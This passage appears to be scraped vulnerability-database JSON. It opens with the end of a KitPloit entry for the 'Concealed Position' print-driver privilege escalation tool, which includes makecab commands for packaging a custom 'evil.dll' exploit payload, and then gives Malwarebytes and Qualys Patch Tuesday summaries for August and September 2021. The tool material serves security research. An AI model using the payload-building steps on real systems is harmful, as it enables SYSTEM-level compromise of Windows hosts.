C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\n \n**Why doesn't the client have a SLASHINGDAMAGE option?** \n\n\n`SLASHINGDAMAGE` doesn't need a special client for exploitation. You can just use the UI or the command line to connect to the remote printer and that's it! Unfortunately, if you want to roll a custom payload you'll need to update the CAB in the cab_files directory. But that's easy. Something like this:\n \n \n echo \u201cevil.dll\u201d \u201c../../evil.dll\u201d > files.txt \n makecab /f files.txt \n move disk1/1.cab exploit.cab \n \n\nIt's probably important to know that the version of `SLASHINGDAMAGE` in the repo drops ualapi.dll into SYSTEM32 and, when executed on reboot, it drops the C:\\result.txt file.\n\n \n**Pull Requests and Bugs** \n\n\nDo you want to submit a pull request or file a bug? Great! I appreciate that, but if you don't provide sufficient details to reproduce a bug or explain why a pull request should be accepted then there is a 100% chance I'll close your issue without comment. I appreciate you, but I'm also pretty busy.\n\n \n**Other things** \n\n\nOne thing to note is that the inject_me dll is actually embedded in the cp_client as a C array. If you update inject_me, you'll need to manually update the C array as well (just use xxd to generate the array).\n\n \n \n\n\n**[Download Concealed_Position](<https://github.com/jacob-baines/concealed_position> \"Download Concealed_Position\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-18T11:30:00", "type": "kitploit", "title": "Concealed Position - Bring Your Own Print Driver Privilege Escalation Tool", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19363", "CVE-2020-1300", "CVE-2021-34481", "CVE-2021-35449", "CVE-2021-38085"], "modified": "2021-09-18T11:30:00", "id": "KITPLOIT:1358590931647264988", "href": "http://www.kitploit.com/2021/09/concealed-position-bring-your-own-print.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2021-08-11T14:38:54", "description": "The sheer number of patches (44 security vulnerabilities) should be enough to scare us, but unfortunately we have gotten used to those numbers. In fact, 44 is a low number compared to what we have seen on recent Patch Tuesdays. So what are the most notable vulnerabilities that were patched.\n\n * One actively exploited vulnerability\n * One vulnerability that has a CVSS score of 9.9 out of 10\n * And yet another attempt to fix PrintNightmare\n\nLet\u2019s go over these worst cases to get an idea of what we are up against.\n\n### CVEs\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services).\n\n### Actively exploited\n\n[CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>) is an [elevation of privilege (EoP)](<https://blog.malwarebytes.com/glossary/privilege-escalation/>) vulnerability in the Windows Update Medic Service. The Windows Update Medic Service is a background service that was introduced with Windows 10 and handles the updating process. Its only purpose is to repair the Windows Update service so that your PC can continue to receive updates unhindered. Besides on Windows 10 it also runs on Windows Server 2019. According to Microsoft CVE-2021-36948 is being actively exploited, but it is not aware of exploit code publicly available. [Reportedly](<https://blog.automox.com/automox-experts-weigh-in-august-patch-tuesday-2021>), the exploit is both low complexity and can be exploited without user interaction, making this an easy vulnerability to include in an adversaries toolbox. The bug is only locally exploitable, but local elevation of privilege is exactly what ransomware gangs will be looking to do after breaching a network, for example.\n\n### 9.9 out of 10\n\n[CVE-2021-34535](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535>) is a [Remote Code Execution (RCE)](<https://blog.malwarebytes.com/glossary/remote-code-execution-rce-attack/>) vulnerability in Windows TCP/IP. This is remotely exploitable by a malicious Hyper-V guest sending an ipv6 ping to the Hyper-V host. An attacker could send a specially crafted TCPIP packet to its host. This vulnerability exists in the TCP/IP protocol stack identified in Windows 7 and newer Microsoft operating systems, including servers.\n\nThis vulnerability received a CVSS score of 9.9 out of 10. The CVSS standards are used to help security researchers, software users, and vulnerability tracking organizations measure and report on the severity of vulnerabilities. CVSS can also help security teams and developers prioritize threats and allocate resources effectively.\n\n### 9.8 out of 10\n\nAnother high scorer is [CVE-2021-26432](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26432>), an RCE in the Windows Services for NFS ONCRPC XDR Driver. Open Network Computing (ONC) Remote Procedure Call (RPC) is a remote procedure call system. ONC was originally developed by Sun Microsystems. The NFS protocol is independent of the type of operating system, network architecture, and transport protocols. The Windows service for the driver makes sure that Windows computers can use this protocol. This vulnerability got a high score because it is known to be easy to exploit and can be initiated remotely.\n\n### More RDP\n\n[CVE-2021-34535](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535>) is an RCE in the Remote Desktop Client. Microsoft lists two exploit scenarios for this vulnerability:\n\n * In the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger a remote code execution (RCE) on the machine when a victim connects to the attacking server with the vulnerable Remote Desktop Client.\n * In the case of Hyper-V, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer when a victim running on the host connects to the attacking Hyper-V guest.\n\nSince this is a client-side vulnerability, an attacker would have to convince a user to authenticate to a malicious RDP server, where the server could then trigger the bug on the client side. Combined with other RDP weaknesses however, this vulnerability would be easy to chain into a full system take-over.\n\n### Never-ending nightmare of PrintNightmare\n\nThe Print Spooler service was subject to yet more patching. The researchers behind PrintNightmare predicted that it would be a fertile ground for further discoveries, and they seem to be right. I\u2019d be tempted to advise Microsoft to start from scratch instead of patching patches on a very old chunk of code.\n\n[CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>) an RCE vulnerability in Windows Print Spooler. A vulnerability that was publicly disclosed, which may be related to several bugs in Print Spooler that were identified by researchers over the past few months (presumably PrintNightmare).\n\n[CVE-2021-34481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34481>) and [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>) are RCE vulnerabilities that could allow attackers to run arbitrary code with SYSTEM privileges.\n\nMicrosoft said the Print Spooler patch it pushed this time should address all publicly documented security problems with the service. In an unusual step, it has made a breaking change: \u201cToday we are addressing this risk by changing the default Point and Print driver installation and update behavior to require administrator privileges.\u201d\n\nTo be continued, we suspect.\n\nThe post [PrintNightmare and RDP RCE among major issues tackled by Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-11T12:16:17", "type": "malwarebytes", "title": "PrintNightmare and RDP RCE among major issues tackled by Patch Tuesday", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26432", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36948"], "modified": "2021-08-11T12:16:17", "id": "MALWAREBYTES:9F3181D8BD5EF0E44A305AF69898B9E0", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2021-08-21T10:10:11", "description": "### Microsoft Patch Tuesday \u2013 August 2021\n\nMicrosoft patched 51 vulnerabilities in their August 2021 Patch Tuesday release, and 7 of them are rated as critical severity. Three 0-day vulnerability patches were included in the release.\n\n#### Critical Microsoft Vulnerabilities Patched\n\n[CVE-2021-36942](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942>) - Windows LSA Spoofing Vulnerability\n\nAn unauthenticated attacker could call a method on the LSARPC interface and coerce the domain controller to authenticate against another server using NTLM. A malicious user can use this attack to take complete control over windows domain Per Microsoft, this vulnerability affects all servers, but domain controllers should be prioritized in terms of applying security updates.\n\n[CVE-2021-34481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34481>) \u2013 Windows Print Spooler Remote Code Execution Vulnerability\n\nA remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. This Patch Tuesday Microsoft released security updates to address this vulnerability and should be prioritized.\n\n#### Three 0-Day Vulnerabilities Patched\n\n * [CVE-2021-36936](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36936>) - Windows Print Spooler Remote Code Execution Vulnerability\n * [CVE-2021-36942](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942>) - Windows LSA Spoofing Vulnerability\n * [CVE-2021-36948](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36948>) - Windows Update Medic Service Elevation of Privilege Vulnerability - This has been actively exploited, per Microsoft.\n\n#### Qualys QIDs Providing Coverage\n\n**QID**| **Title**| **Severity**| **CVE ID** \n---|---|---|--- \n110388| Microsoft SharePoint Enterprise Server Multiple Vulnerabilities August 2021| Medium| [_CVE-2021-36940_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36940>) \n110389| Microsoft Office and Microsoft Office Services and Web Apps Security Update August 2021 | High| [_CVE-2021-34478_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34478>), [_CVE-2021-36941_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36941>) \n375798| Microsoft Azure CycleCloud Elevation of Privilege Vulnerability August 2021 | Medium| [_CVE-2021-33762_](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33762>), [_CVE-2021-36943_](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36943>), [_KB3142345_](<https://www.microsoft.com/en-us/download/details.aspx?id=103313>) \n91801| Microsoft Dynamics Business Central Cross-Site (XSS) Scripting Vulnerability August 2021 | Medium | [_CVE-2021-36946_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36946>) \n91802| Microsoft Windows Security Update for August 2021 \n \n | High| CVE-2021-26424, [_CVE-2021-26425_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26425>), [_CVE-2021-26426_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26426>), [_CVE-2021-26431_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26431>), [_CVE-2021-26432_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26432>), [_CVE-2021-26433_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26433>), [_CVE-2021-34480_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34480>), [_CVE-2021-34483_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34483>), [_CVE-2021-34484_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34484>), [_CVE-2021-34486_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34486>), [_CVE-2021-34487_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34487>), [_CVE-2021-34530_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34530>), [_CVE-2021-34533_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34533>), [_CVE-2021-34534_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34534>), [_CVE-2021-34535_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34535>), [_CVE-2021-34536_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34536>), [_CVE-2021-34537_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34537>), [_CVE-2021-36926_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36926>), [_CVE-2021-36927_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36927>), [_CVE-2021-36932_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36932>), [_CVE-2021-36933_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36933>), [_CVE-2021-36936_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36936>), [_CVE-2021-36937_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36937>), [_CVE-2021-36938_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36938>), [_CVE-2021-36947_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36947>), [_CVE-2021-36948_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36948>) \n91803| Microsoft Windows Local Security Authority (LSA) Spoofing Vulnerability August 2021 | High| [_CVE-2021-36942_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36942>) \n91804| Microsoft Windows Defender Elevation of Privilege Vulnerability August 2021 | Medium| [_CVE-2021-34471_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34471>) \n91805| Microsoft Windows 10 Update Assistant Elevation of Privilege Vulnerability August 2021 | Medium | [_CVE-2021-36945_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36945>) \n91806| Microsoft Azure Active Directory Connect Authentication Bypass Vulnerability August 2021 | Medium| [_CVE-2021-36949_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36949>) \n91774| Microsoft .NET Core and ASP.NET Core Security Update for August 2021 | High| [_CVE-2021-26423_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26423>), [_CVE-2021-34485_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34485>), [_CVE-2021-34532_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34532>) \n91809| Microsoft Visual Studio Security Update for August 2021 | Medium| [_CVE-2021-26423_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26423>), [_CVE-2021-34485_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34485>), [_CVE-2021-34532_](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34532>) \n \n### Adobe Patch Tuesday \u2013 August 2021\n\nAdobe addressed 29 CVEs this Patch Tuesday impacting Adobe Connect and Magento product. The patches for Magento are labeled as [Priority 2](<https://helpx.adobe.com/security/severity-ratings.html>), while the remaining patches are set to [Priority 3](<https://helpx.adobe.com/security/severity-ratings.html>).\n\n**Adobe Security Bulletin**| **QID**| **Severity**| **CVE ID** \n---|---|---|--- \nAdobe Connect Multiple Vulnerabilities (APSB21-66) | 730152| Medium| [CVE-2021-36061](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36061>), [CVE-2021-36062](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36062>), [CVE-2021-36063](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36063>) \n \n### Discover Patch Tuesday Vulnerabilities in VMDR\n\nQualys VMDR automatically detects new Patch Tuesday vulnerabilities using continuous updates to its Knowledge Base (KB).\n\nYou can see all your impacted hosts by these vulnerabilities using the following QQL query:\n\n`vulnerabilities.vulnerability:(qid:`91774` OR qid:`91801` OR qid:`91802` OR qid:`91803` OR qid:`91804` OR qid:`91805` OR qid:`91806` OR qid:`91809` OR qid:`375798` OR qid:`110389` OR qid:`110388` OR qid:`730152`)`\n\n![](https://blog.qualys.com/wp-content/uploads/2021/08/Picture1-1070x618.png)\n\n### Respond by Patching\n\nVMDR rapidly remediates Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply select respective QIDs in the Patch Catalog and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go.\n\nThe following QQL will return the missing patches pertaining to this Patch Tuesday.\n\n`(qid:`91774` OR qid:`91801` OR qid:`91802` OR qid:`91803` OR qid:`91804` OR qid:`91805` OR qid:`91806` OR qid:`91809` OR qid:`375798` OR qid:`110389` OR qid:`110388` OR qid:`730152`)`\n\n![](https://blog.qualys.com/wp-content/uploads/2021/08/Picture2-1070x585.png)\n\n### Patch Tuesday Dashboard\n\nThe current updated Patch Tuesday dashboards are available in [Dashboard Toolbox: 2021 Patch Tuesday Dashboard](<https://success.qualys.com/discussions/s/article/000006505>).\n\n### Webinar Series: This Month in Vulnerabilities and Patches\n\nTo help customers leverage the seamless integration between Qualys VMDR and Patch Management and reduce the median time to remediate critical vulnerabilities, the Qualys Research team is hosting a monthly webinar series [_This Month in Vulnerabilities and Patches_](<https://www.brighttalk.com/webcast/11673/502309>).\n\nWe discuss some of the key vulnerabilities disclosed in the past month and how to patch them:\n\n * Microsoft Patch Tuesday, August 2021\n * Adobe Patch Tuesday, August 2021\n\n[Join us live or watch on demand!](<https://www.brighttalk.com/webcast/11673/502309>)\n\n![](https://blog.qualys.com/wp-content/uploads/2021/07/This-Month-in-Vulnerabilities-and-Patches-Webinar-Desktop-1070x465.png)[Webinar August 12, 2021 or on demand](<https://www.brighttalk.com/webcast/11673/502309>).\n\n### About Patch Tuesday\n\nPatch Tuesday QIDs are published at [Security Alerts](<https://www.qualys.com/research/security-alerts/>), typically late in the evening of [Patch Tuesday](<https://blog.qualys.com/tag/patch-tuesday>), followed shortly after by [PT dashboards](<https://qualys-secure.force.com/discussions/s/article/000006505>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-10T19:58:49", "type": "qualysblog", "title": "Microsoft and Adobe Patch Tuesday (August 2021) \u2013 Microsoft 51 Vulnerabilities with 7 Critical, Adobe 29 Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26423", "CVE-2021-26424", "CVE-2021-26425", "CVE-2021-26426", "CVE-2021-26431", "CVE-2021-26432", "CVE-2021-26433", "CVE-2021-33762", "CVE-2021-34471", "CVE-2021-34478", "CVE-2021-34480", "CVE-2021-34481", "CVE-2021-34483", "CVE-2021-34484", "CVE-2021-34485", "CVE-2021-34486", "CVE-2021-34487", "CVE-2021-34530", "CVE-2021-34532", "CVE-2021-34533", "CVE-2021-34534", "CVE-2021-34535", "CVE-2021-34536", "CVE-2021-34537", "CVE-2021-36061", "CVE-2021-36062", "CVE-2021-36063", "CVE-2021-36926", "CVE-2021-36927", "CVE-2021-36932", "CVE-2021-36933", "CVE-2021-36936", "CVE-2021-36937", "CVE-2021-36938", "CVE-2021-36940", "CVE-2021-36941", "CVE-2021-36942", "CVE-2021-36943", "CVE-2021-36945", "CVE-2021-36946", "CVE-2021-36947", "CVE-2021-36948", "CVE-2021-36949"], "modified": "2021-08-10T19:58:49", "id": "QUALYSBLOG:0F0ACCA731E84F3B1067935E483FC950", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-16T10:35:06", "description": "### Microsoft Patch Tuesday \u2013 September 2021\n\nMicrosoft patched 60 vulnerabilities in their September 2021 Patch Tuesday release, and an additional 26 CVEs since September 1st. Among the 60 released in the September Patch Tuesday, 3 of them are rated as critical severity, one as moderate, and 56 as important.\n\n#### Critical Microsoft Vulnerabilities Patched\n\n[CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) - Microsoft MSHTML Remote Code Execution Vulnerability \n\nThis vulnerability has been publicly disclosed and is known to be exploited. The vulnerability allows for remote code execution via MSHTML, a component used by Internet Explorer and Office. Microsoft also released a workaround to show how users can disable ActiveX controls in IE. The vendor has assigned a CVSSv3 base score of 8.8. It should be prioritized for patching.\n\n[CVE-2021-26435](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26435>) - Windows Scripting Engine Memory Corruption Vulnerability \n\nMicrosoft released patches addressing a critical remote code execution vulnerability in Windows Scripting Engine. The exploitation of this vulnerability requires an attacker to convince users to click a link and then open a specially-crafted file. The vendor has assigned a CVSSv3 base score of 8.8. It should be prioritized for patching. \n\n[CVE-2021-36965](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36965>) - Windows WLAN AutoConfig Service Remote Code Execution Vulnerability \n\nThis vulnerability does not allow user interaction and also has a low complexity for attack. The vendor has assigned a CVSSv3 base score of 8.8. It should be prioritized for patching.\n\n[CVE-2021-38633](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38633>), [CVE-2021-36963](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36963>) - Windows Common Log File System Driver Elevation of Privilege Vulnerability \n\nThe vulnerabilities allow an attacker to gain elevated privileges to make changes to the victim\u2019s system. These CVEs have a high likelihood of exploitability and is assigned a CVSSv3 base score of 7.8 by the vendor. It should be prioritized for patching. \n\n[CVE-2021-38671](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38671>) - Windows Print Spooler Elevation of Privilege Vulnerability\n\nThis CVE has a high likelihood of exploitability and is assigned a CVSSv3 base score of 7.8 by the vendor. It should be prioritized for patching.\n\n### Qualys QIDs Providing Coverage\n\n**QID**| **Title**| **Severity**| **CVE ID** \n---|---|---|--- \n375861| Microsoft Edge Based On Chromium Prior to 93.0.961.47 Multiple Vulnerabilities| High| _CVE-2021-30632_ \n110390| Microsoft Office and Microsoft Office Services and Web Apps Security Update September 2021| High| _CVE-2021-38655,CVE-2021-38650,CVE-2021-38654,CVE-2021-38653,CVE-2021-38658,CVE-2021-38646,CVE-2021-38660,CVE-2021-38657,CVE-2021-38656,CVE-2021-38659_ \n110391| Microsoft SharePoint Enterprise Server Multiple Vulnerabilities September 2021| Medium| _CVE-2021-38651,CVE-2021-38652_ \n375860| Azure Open Management Infrastructure Multiple Vulnerabilities| Medium | CVE-2021-38645 CVE-2021-38647 CVE-2021-38648 CVE-2021-38649 \n \n91821| \nMicrosoft Cumulative Security Update for Internet Explorer (KB5005563) \n| Medium| _KB5005563 _ \n375854| Visual Studio Code Spoofing Vulnerability | Medium| _CVE-2021-26437 _ \n45505| Microsoft MSHTML Remote Code Execution Vulnerability Active X Controls Disabled (Mitigation for CVE-2021-40444 Enabled)| Low| \n91815| Microsoft Visual Studio Security Update for September 2021 | Medium | _CVE-2021-26434 CVE-2021-36952 _ \n91816| Microsoft Windows Security Update for September 2021| High| _CVE-2021-38667,CVE-2021-38639,CVE-2021-38638,CVE-2021-38637,CVE-2021-26435,CVE-2021-40447,CVE-2021-38671,CVE-2021-36965,CVE-2021-36967,CVE-2021-36974,CVE-2021-36972,CVE-2021-36966,CVE-2021-36969,CVE-2021-36973,CVE-2021-36962,CVE-2021-36961,CVE-2021-36964,CVE-2021-36963,CVE-2021-36959,CVE-2021-36968,CVE-2021-36975,CVE-2021-38636,CVE-2021-38635,CVE-2021-38633,CVE-2021-38629,CVE-2021-38628,CVE-2021-38634,CVE-2021-38632,CVE-2021-38630,CVE-2021-38624,CVE-2021-36955,CVE-2021-36954,CVE-2021-36960,CVE-2021-36958_ \n91817| Microsoft Dynamics Business Central Cross-Site Scripting (XSS) Vulnerability September 2021| Medium| _CVE-2021-40440_ \n91818| Microsoft Windows Kernel Elevation of Privilege Vulnerability September 2021| High| _CVE-2021-38625,CVE-2021-38626_ \n91819| Microsoft Windows Codecs Library HEVC Video Extensions Remote Code Execution (RCE) Vulnerability - September 2021| High| _CVE-2021-38661 _ \n91820| Microsoft MPEG-2 Video Extension Remote Code Execution (RCE) Vulnerability| High| _CVE-2021-38644 _ \n \n### Adobe Patch Tuesday \u2013 September 2021\n\nAdobe addressed [61 CVEs](<https://helpx.adobe.com/security.html>) this Patch Tuesday impacting Adobe Acrobat and Reader, ColdFusion, Premiere Pro, Adobe InCopy, Adobe SVG-Native Viewer, InDesign, Framemaker, Creative Cloud Desktop Apps, Photoshop Elements, Premiere Elements, Digital Editions, Genuine Service, Photoshop, XMP Toolit SDK and Experience Manager.\n\nThe patches for Adobe Acrobat and Reader, ColdFusion and Experience Manager are labeled as [Priority 2](<https://helpx.adobe.com/security/severity-ratings.html>), while the remaining patches are labeled as [Priority 3](<https://helpx.adobe.com/security/severity-ratings.html>). \n\n**Adobe Security Bulletin**| **QID**| **Severity**| **CVE ID** \n---|---|---|--- \nAdobe Security Update for Adobe Acrobat and Adobe Reader (APSB21-55) | 375845| Medium| _CVE-2021-39841, CVE-2021-39863, CVE-2021-39857, CVE-2021-39856, CVE-2021-39855, CVE-2021-39844, CVE-2021-39861, CVE-2021-39858, CVE-2021-39843, CVE-2021-39846, CVE-2021-39845, CVE-2021-35982, CVE-2021-39859, CVE-2021-39840, CVE-2021-39842, CVE-2021-39839, CVE-2021-39838,CVE-2021-39837,CVE-2021-39836,CVE-2021-39860,CVE-2021-39852,CVE-2021-39854,CVE-2021-39853,CVE-2021-39850,CVE-2021-39849,CVE-2021-39851_ \n \n### Discover Patch Tuesday Vulnerabilities in VMDR\n\nQualys VMDR automatically detects new Patch Tuesday vulnerabilities using continuous updates to its Knowledge Base (KB).\n\nYou can see all your impacted hosts by these vulnerabilities using the following QQL query:\n\n`vulnerabilities.vulnerability:(qid:`375861` OR qid:`110390` OR qid:`110391` OR qid:`375860` OR qid:`91821` OR qid:`375854` OR qid:`45505` OR qid:`91815` OR qid:`91816` OR qid:`91817` OR qid:`91818` OR qid:`91819` OR qid:`91820`)`\n\n![](https://blog.qualys.com/wp-content/uploads/2021/09/first-image-1070x361.png)\n\n### Respond by Patching\n\nVMDR rapidly remediates Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply select respective QIDs in the Patch Catalog and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go.\n\nThe following QQL will return the missing patches pertaining to this Patch Tuesday.\n\n`(qid:`375861` OR qid:`110390` OR qid:`110391` OR qid:`375860` OR qid:`91821` OR qid:`375854` OR qid:`45505` OR qid:`91815` OR qid:`91816` OR qid:`91817` OR qid:`91818` OR qid:`91819` OR qid:`91820`)`\n\n![](https://blog.qualys.com/wp-content/uploads/2021/09/image2-1070x359.png)\n\n### Patch Tuesday Dashboard\n\nThe current updated Patch Tuesday dashboards are available in [Dashboard Toolbox: 2021 Patch Tuesday Dashboard](<https://success.qualys.com/discussions/s/article/000006505>).\n\n### Webinar Series: This Month in Vulnerabilities and Patches\n\nTo help customers leverage the seamless integration between Qualys VMDR and Patch Management and reduce the median time to remediate critical vulnerabilities, the Qualys Research team is hosting a monthly webinar series [_T_](<https://event.on24.com/wcc/r/3411753/DC43289F29EF66CAE5CF62637F8CB6E3>)_[his Month in Vulnerabilities and Patches](<https://event.on24.com/wcc/r/3411753/DC43289F29EF66CAE5CF62637F8CB6E3>)_.\n\nWe discuss some of the key vulnerabilities disclosed in the past month and how to patch them: \n\n * Microsoft Patch Tuesday, September 2021 \n * Adobe Patch Tuesday, September 2021 \n\n[Join us live or watch on demand!](<https://event.on24.com/wcc/r/3411753/DC43289F29EF66CAE5CF62637F8CB6E3>)\n\n![](https://blog.qualys.com/wp-content/uploads/2021/07/This-Month-in-Vulnerabilities-and-Patches-Webinar-Desktop-1070x465.png)Thursday, September 16, 2021 or 